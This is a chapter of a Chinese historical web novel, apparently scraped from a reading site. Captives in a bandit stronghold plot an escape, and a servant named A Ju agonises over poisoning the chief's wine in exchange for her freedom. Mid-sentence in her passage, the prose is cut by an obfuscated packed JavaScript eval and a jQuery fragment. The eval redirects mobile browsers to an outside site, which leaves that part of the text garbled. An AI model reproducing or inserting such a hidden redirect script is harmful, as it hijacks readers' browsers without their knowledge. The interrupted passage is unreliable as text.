83. 为自由故

    修蜻比她先一步起身,近乎悄然地向窗牖移动。


    这窗牖被段筹命人从外用木条交叉钉死,屋前又有两位壮汉把守,林蕴霏不禁纳罕潜睿会如何进屋。


    不成想对方寻了破绽,将纸塞进极窄的窗缝里。


    修蜻小心翼翼地将那纸抽过来,与林蕴霏回到烛光下查看。


    传递来的纸共有两张,修蜻将其在桌上展开,只一眼他便确定,对林蕴霏说:“是潜睿的字迹。”


    一张纸上画的显然是山寨的布局,潜睿标记得极为详尽,有了这张地图,谁都能在寨内横着走。


    另一张纸上则是长篇的话


    ——我已然摸清山寨内的庖屋,拢共有两处。一处在段筹的府邸内,专门负责他府上人的吃食,还有一处则管着其余所有人。


    而寨子内仅有一处水井,众人皆从那里取水过活。


    至于赈灾粮被贮存的位置,我亦业已寻到。


    我跟在宋载刀的身边,发现他与燕往之间似乎达成了一起将段筹拉下马的计划。


    我还未能深入接触到其中细节,但知晓他们决定在三日后动手。


    窃以为我们可同样选择在三日后行动,趁乱将蒙汗药下入水井中。


    有着他们在前做掩护,段筹定然分身乏术,无暇他顾。


    如若殿下觉得没问题,且来窗牖敲三下作为回应。今夜我便想法子将这个安排、通往山寨的路线与地图一并传给国师,方便他到时接应。


    原来他还没有离开!林蕴霏与修蜻不约而同地相视。


    林蕴霏对着他郑重地点了点头,心道潜睿无愧是谢呈的近卫,就连思虑上也颇得谢呈真传,叫她挑不出什么纰漏。


    修蜻领会到她的意思,两人复趋向窗边。


    屋内落针可闻,倘若无端敲三下难保不会惹来看守人的注意。


    林蕴霏当然能想到用别的动静遮掩,于是抬手虚挡在口鼻前,佯作干咳。


    不用她提醒,与此同时,修蜻敲了敲窗棂,那是干净利落的三声。


    窗外的人闻声站起来,很快消失不见。


    *


    自那日筵席后,阿菊再没有现身过。


    段筹也好似有事情要忙,将林蕴霏二人遗忘在脑后。


    林蕴霏与修蜻的吃食交由老甲定时来送,她点数着一日的两餐,三日的韶光猝然从指缝间流走。


    昨夜潜睿又给她传来消息,说是今日晚亥时,段筹将再次设宴,具体是为何事尚且不明。


    而宋载刀与燕往准备在筵席上献毒酒,想要一举让段筹丧命。


    至于段筹是否知晓他们的计谋,不得而知。


    谢呈那边已收到潜睿的汇报,特意传来一封写给林蕴霏的信笺。


    薄薄的一张纸被笔墨松香浸透,其上仅有寥寥二字“盼归”,却足以让林蕴霏的心为之一颤。


    她将这纸捧读了不知几遍,若非有修蜻在旁边,只怕还要再多看上两眼。


    纸最后被林蕴霏珍之重之地叠好,压平收进袖内缝制的暗袋里。


    此外,林蕴霏吩咐潜睿帮忙搜查的事亦有了结果,段筹府上隐匿的那群女子尽数被收押在一个不大的柴房里。


    潜睿筹划今晚趁夜色将她们放出。


    他原想着今夜以同样的法子将无人在意的修蜻与林蕴霏先解救出来,结果计划赶不上变化,二人在亥时前先等来了老甲。


    对方今日眉目间似是有几分难查来路的严阵以待,但又或许是林蕴霏自个心中有鬼,将情绪投在了他身上。


    老甲立在门外,道:“两位小娘子还请梳妆打扮一下,大当家指名要二位去筵席间陪侍。”


    林蕴霏原本并不想让自己变得打眼,但旋即想到今夜夜半便能同谢呈会合,便往唇上涂抹了点绛色的口脂。


    *


    此时段筹府内的庖屋里炊烟袅袅,两位庖子一个负责生火切菜,一个负责下锅翻炒。


    阿菊于门外瞧着他们忙碌的身影,攥着东西的手心里捏着把汗。


    两日前老甲忽然寻到她,将一个药瓶交予她,说是二当家送来的金疮药。


    彼时她因为后背的鞭伤尚且下不了榻,心中对这位仅有两面之缘的二当家的善意感到狐疑。


    更叫她感到惊奇的是,作为段筹心腹的老甲看上去与燕往有着微妙的关系。


    阿菊平日虽不怎么与府邸内的众人交流,心中却自有一方明镜,并非全然不通世故。


    看得出来同要去拆穿是两码事,阿菊不想亦没有心力卷入谁的算计中。


    但她记得筵席间,燕往出言帮她向段筹求过情,加之出于该有的礼节,阿菊拜托老甲替她转告燕往自己的不尽感激。


    老甲道好,一双苍老到快要陷进眼窝的眸子里盛着阿菊看不明白的情绪。


    离开房间前,他顿足提醒她,记得上药,好好休养,明日他会再来探望她。


    他将说“记得上药”的声音咬得很重,阿菊后来打开药瓶时,才知晓这句话的深意。


    本该装着药的瓷瓶里卷着一张纸,以及一包不明用处的白粉。


    阿菊平静的心登时紧绷起来,在将纸展开之前,先提防地扫了眼门,是关着的。


    果如她预想的那般,纸上的内容尤其不同凡响——你想要离开却步山吗?如若想,便在两日后将药粉倒入给段筹的酒壶中,事成之后,我自会放你下山、获取自由。


    她仿佛不识字的稚童般,将纸上的字句反复读了数遍。


    即便对方未有言明这白粉会有何效用,阿菊仍能猜到绝不会是什么好东西。


    或昏或死,无非是这两种结局。


    纵然阿菊不想要加害段筹,可她如何也拒绝不了一个能离开却步山的机会。


    山下的好光景早已褪成她记忆里模糊的幻影。


    路边随处都能采撷到的雏菊,它们不用她照料,就能绽放得极盛。


    那种曾几何时她日日都能嗅见的混杂着青苔的潮湿又新鲜的气味,叫连府邸外院都不被允许踏足的阿菊魂牵梦萦。


    段筹的这座府邸为她遮蔽了四年的风雪,他不曾短过她的吃穿用度,也不曾支使她做重活累活。


    饶是山下在高门大户里侍奉主人家的婢女,或许也过得不如她。


    阿菊清楚她若下山,未必就能过上这般富足的日子。


    她得为生计忧愁,甚至因为久未接触山下的事物,少不了要四处碰壁。


    但她宁愿住在漏雨漏风的茅屋,宁愿睡着少棉的被子。


    阿菊想要过上寻常的日子,想要拥抱自由的风。


    哪怕朝夕之间她会不为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14533634|137871||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人知地死去,阿菊也不会有一丝的后悔。


    因为段筹的府邸是将她困宥的牢笼,是她不愿提及的伤心地。


    她在此处被迫窥见段筹最阴暗狠毒的面孔,她陪着他,就像陪着一只随时会将自己拆骨入腹的孤兽。


    孤兽强求她依偎着他,她只得假作平和脸色,将所有惊惧咽回肚中。


    漫漫四年,她于午夜无声呜咽,眼下干涸的泪痕变成剜不掉的黑痣。


    恐惧不会因为习惯而减弱,阿菊渐次觉得风声鹤唳。


    她无论怎么清洗沐浴皆摆脱不了双手沾染上的血腥味,她整夜整夜不敢阖眼。


    万籁寂静之时,阿菊垂眸看地上掉落的大把头发,几乎要怀疑自己得了什么不治之症。


    她也不敢去找府上的大夫为自己诊脉,生怕听见与她猜想重合的话。


    阿菊愈发畏光,有时会觉得她是一只徒有人的皮囊的鬼,在白日拼凑出的模样苍白又虚伪。


    仅有那颗尚且跳动的心脏让她意识到自己尚且活着。


    有很长的一段时日,阿菊甚至不再奢望她能下山。


    她哄骗着自己,段筹对她不算差,纵偶有冷语,却不曾动手打过她。他……毕竟是在阿婆逝去后第一个不嫌弃她耳聋,愿意耐心听她言语的人。


    或许于他而言,救过他的自己还是有点不一样的。


    她只当是与对方签订了卖身契,做一个不惹他嫌的奴婢,得过且过便好。


    然而昨日之事如钟发声,悠长钟鸣荡开铅华,使得阿菊猝然从混沌中清醒过来。


    段筹哪里是待她特殊,他分明是从未将她放在眼里,似圈养猫犬,厮迤厮逗而已。


    几鞭子换来她头脑的清醒,阿菊鲜少遇见过这样划算的买卖。


    既然段筹已经对她动了杀念,她便没必要对他心软,何况他本就是一个恶贯满盈之人,杀了他,也算是为民除害。


    话虽如此,这两日里阿菊无时无刻不在挣扎、反悔,以至于如今驻足于庖屋外,依然拿不出一句准话。


    她着实过不了心中那道槛,她不敢想象倘若段筹真的死在了自己手中,她会是怎样的心情。


    “阿菊姑娘,你怎么来了?”庖子猝然发现安静地站在门口的她,被吓了一跳。


    阿菊因此从这些纷杂的情绪里抽离出来,乌黑的双眸隔着呛人的烟火张望屋内。


    那位被派在庖屋负责传菜的青年男子果真不见了踪迹。


    那日他因为听闻了前院筵席间的可怖情状,是以惧怕前去触段筹的霉头。他抱着酒坛在院中急得就要哭出来,彼时阿菊在一旁栽花,阴差阳错成为他的求助对象。


    青年的音容笑貌仍历历在目,阿菊不明白他与她为何并无做错任何事,最后却一死一伤。


    段筹有一句话说得极是,她的确有着泛滥的同情心。


    偏生没有得以匹配的本事,便只能任他宰割,活该难得自由。


    她已然尝过当东郭先生被狼咬的苦头,万不该重蹈覆辙。


    阿菊想要得到自由,就像倦鸟想要归巢。


    倦鸟归巢需要飞越千山渡万水,她亦得为此付出代价。


    阿菊暗暗吐出胸中郁积了四年多的浊气,对着庖子扬起一道轻松的笑:“老甲叫我来催菜,有劳诸位加快动作。”